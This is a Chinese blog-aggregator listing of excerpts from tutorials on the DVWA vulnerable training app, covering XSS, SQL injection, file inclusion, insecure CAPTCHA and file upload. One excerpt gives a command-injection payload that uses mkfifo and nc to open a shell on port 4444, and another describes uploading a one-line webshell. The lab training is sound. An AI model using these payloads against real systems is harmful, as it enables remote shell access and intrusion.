XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中 ...
分类：
其他好文 时间：
2020-02-14 16:58:30
阅读次数：
81
Insecure CAPTCHA，意思是不安全的验证码，CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。这块主要是验证流程出现了逻辑漏洞 ...
分类：
其他好文 时间：
2020-02-13 14:49:49
阅读次数：
89
DVWA-SQL注入 DVWA是一个基于PHP和MySQL开发的漏洞测试平台 测试环境 应用程序: phpStudy(apache，php，mysql) 测试程序: firefox， new hacker， burpsuite，sqlmap，中国菜刀 一、 SQL注入 SQL注入是指攻击者通过注入恶 ...
分类：
数据库 时间：
2020-02-12 12:43:06
阅读次数：
388
本文介绍的是漏洞利用，以DVWA实验为例，分别介绍验证绕过，XSS利用，Cookic盗用，文件上传等漏洞的利用及实现过程。通过该课程可以了解到漏洞的原理，从而做好对应的自身防御体系。 ...
分类：
Web程序 时间：
2020-02-10 09:42:58
阅读次数：
102
File Inclusion File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件， ...
分类：
其他好文 时间：
2020-02-09 00:27:58
阅读次数：
68
DVWA简介 DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。 DVWA共有十个模块，分别是Brute ...
分类：
其他好文 时间：
2020-02-07 22:27:24
阅读次数：
90
开门见山 · 目录遍历 替换成 2. 文件包含可以使用 绝对路径 也可以 3. 可以使用文件包含来包含一个网址，或者是一个shell 远程文件 空字符绕过字符过滤 %00 ...
分类：
其他好文 时间：
2020-02-06 16:48:30
阅读次数：
122
开门见山 ·Low ·Medium ·High · 命令执行监听端口 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe nc 192.168.31.100 4444 · 反弹shell 拷贝shell文件 启动kali的apache服 ...
分类：
其他好文 时间：
2020-02-06 16:14:05
阅读次数：
88
DVWA简介 DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。 DVWA共有十个模块，分别是Brute ...
分类：
数据库 时间：
2020-02-04 18:47:01
阅读次数：
83
简单的文件上传漏洞（靶机安全级别：low） 事先准备好一句话木马，密码为pass 上传一句话木马，显示上传路径（一般网站是不会显示路径的，这里靶机为了方便你测试漏洞，直接显示出了路径： ../../hackable/uploads/pass.php succesfully uploaded!） 我们 ...
分类：
Web程序 时间：
2020-02-02 14:14:38
阅读次数：
169
